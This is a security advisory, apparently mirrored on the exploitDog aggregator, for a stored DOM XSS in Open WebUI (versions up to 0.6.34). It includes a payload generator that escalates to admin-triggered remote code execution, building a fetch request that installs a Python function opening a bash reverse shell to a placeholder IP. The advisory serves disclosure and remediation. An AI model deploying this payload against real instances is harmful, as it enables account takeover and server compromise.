Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-w7xj-8fx7-wfch

Опубликовано: 07 нояб. 2025
Источник: github
Github: Прошло ревью
CVSS3: 8.7

Описание

Open WebUI vulnerable to Stored DOM XSS via prompts when 'Insert Prompt as Rich Text' is enabled resulting in ATO/RCE

Summary

The functionality that inserts custom prompts into the chat window is vulnerable to DOM XSS when 'Insert Prompt as Rich Text' is enabled, since the prompt body is assigned to the DOM sink .innerHtml without sanitisation. Any user with permissions to create prompts can abuse this to plant a payload that could be triggered by other users if they run the corresponding / command to insert the prompt.

Details

The affected line is https://github.com/open-webui/open-webui/blob/7a83e7dfa367d19f762ec17cac5e4a94ea2bd97d/src/lib/components/common/RichTextInput.svelte#L348

export const replaceCommandWithText = async (text) => { const { state, dispatch } = editor.view; const { selection } = state; const pos = selection.from; // Get the plain text of this document // const docText = state.doc.textBetween(0, state.doc.content.size, '\n', '\n'); // Find the word boundaries at cursor const { start, end } = getWordBoundsAtPos(state.doc, pos); let tr = state.tr; if (insertPromptAsRichText) { const htmlContent = marked .parse(text, { breaks: true, gfm: true }) .trim(); // Create a temporary div to parse HTML const tempDiv = document.createElement('div'); tempDiv.innerHTML = htmlContent; // <---- vulnerable

User controlled HTML from the prompt body is assigned to tempDiv.innerHTML without (meaningful) sanitisation. marked.parse introduces some character limitations but does not sanitise the content, as stated in their README.

image

PoC

Create a custom prompt as follows: image

Via settings, ensure 'Insert Prompt as Rich Text' is enabled: image

Run the command /poc via a chat window. image

Observe the alert is triggered. image

RCE

Since admins can naturally run arbitrary Python code on the server via the 'Functions' feature, this XSS could be used to force any admin that triggers it to run one such of these function with Python code of the attackers choosing.

This can be accomplished by making them run the following fetch request:

fetch("https://<HOST>/api/v1/functions/create", { method: "POST", credentials: "include", headers: { "Content-Type": "application/json", "Accept": "application/json" }, body: JSON.stringify({ id: "pentest_cmd_test", name: "pentest cmd test", meta: { description: "pentest cmd test" }, content: "import os;os.system('echo RCE')" }) })

This cannot be done directly because the marked.parse call the HTML is passed through will neutralise payloads containing quotes image To get around this strings must be manually constructed from their decimal values using String.fromCodePoint. The following Python script automates generating a viable payload from given JavaScript:

payload2 = """ fetch("https://<HOST>/api/v1/functions/create", { method: "POST", credentials: "include", headers: { "Content-Type": "application/json", "Accept": "application/json" }, body: JSON.stringify({ id: "pentest_cmd_test", name: "pentest cmd test", meta: { description: "pentest cmd test" }, content: "import os;os.system('bash -c \\\\'/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1\\\\'')" }) }) """.lstrip().rstrip() out = "" for c in payload2: out += f"String.fromCodePoint({ord(c)})+" print(f"<img src=x onerror=eval({out[:-1]})>")

An admin that triggers the corresponding payload via a prompt command will trigger a Python function to run that runs a reverse shell payload, giving command line access on the server to the attacker. image

image image

Impact

Any user running the malicious prompt could have their account compromised via malicious JavaScript that reads their session token from localstorage and exfiltrates it to an attacker controlled server.

Admin users running the malicious prompt risk exposing the backend server to remote code execution (RCE) since malicious JavaScript running via the vulnerability can be used to send requests as the admin user that run malicious Python functions, that may run operating system commands.

Caveats

Low privilege users cannot create prompts by default, the USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS permission is needed, which may be given out via e.g. a custom group. see: https://docs.openwebui.com/features/workspace/prompts/#access-control-and-permissions

A victim user running the command to trigger the prompt needs to have the 'Insert Prompt as Rich Text' setting enabled via preferences for the vulnerability to trigger. The setting is off by default. Users with this setting disabled are unaffected.

Remediation

Sanitise the user controlled HTML with DOMPurify before assigning it to .innerHtml

Пакеты

Наименование

open-webui

npm
Затронутые версииВерсия исправления

<= 0.6.34

0.6.35

Наименование

open-webui

pip
Затронутые версииВерсия исправления

<= 0.6.34

0.6.35

EPSS

Процентиль: 1%
0.00011
Низкий

8.7 High

CVSS3

Дефекты

CWE-79

Связанные уязвимости

CVSS3: 8.7
nvd
3 месяца назад

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. In versions 0.6.34 and below, the functionality that inserts custom prompts into the chat window is vulnerable to DOM XSS when 'Insert Prompt as Rich Text' is enabled, since the prompt body is assigned to the DOM sink .innerHtml without sanitisation. Any user with permissions to create prompts can abuse this to plant a payload that could be triggered by other users if they run the corresponding / command to insert the prompt. This issue is fixed in version 0.6.35.

CVSS3: 8.7
fstec
3 месяца назад

Уязвимость компонента .innerHtml веб-интерфейса на базе искуственного интеллекта Open WebUI, позволяющая нарушителю выполнить DOM Based XSS-атаку

EPSS

Процентиль: 1%
0.00011
Низкий

8.7 High

CVSS3

Дефекты

CWE-79